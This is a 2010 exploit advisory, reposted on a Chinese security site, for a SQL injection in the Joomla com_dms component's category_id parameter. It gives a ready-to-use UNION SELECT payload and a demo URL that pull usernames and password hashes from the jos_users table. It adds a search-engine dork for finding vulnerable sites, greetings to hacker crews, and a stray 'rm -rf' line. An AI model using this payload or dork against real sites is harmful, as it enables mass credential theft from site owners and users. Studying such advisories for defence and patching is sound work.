Joomla Component com_dms SQL Injection Vulnerability

2010-02-09 10:16:07 作者：root 来源： 浏览次数：0 网友评论 0 条

    
        
            /**************************************************************************
        
    




    
        
             
        
    




    
        
            [~] Joomla Component com_dms

/**************************************************************************

[~] Joomla Component com_dms Remote SQL injection vulnerability - (category_id)

[~] Author  : kaMtiEz (kamzcrew@yahoo.com)

[~] Homepage    : http://www.indonesiancoder.com

[~] Date    : 28 January, 2010

**************************************************************************/

[ Software Information ]

[+] Vendor : http://joomdonation.com/

[+] Info : http://joomdonation.com/index.php?option=com_content&view=article&id=41&Itemid=40

[+] version : 2.5.1 or lower maybe also affected

[+] Vulnerability : SQL injection

[+] Dork : inurl:"com_dms"

[+] Type : commercial

===========================================================================

[ Vulnerable File ]

http://server/index.php?option=com_dms&task=view_category&category_id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--

[ Demo ]

http://server/index.php?option=com_dms&task=view_category&category_id=-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah

[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack

[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah

[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ]

[+] Babe enyak adek i love u pull dah ..

[+] Bercinta Sekuat Tenaga !

[+] rm -rf

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x

[+] nothing secure ..

 

已有0位网友发表了看法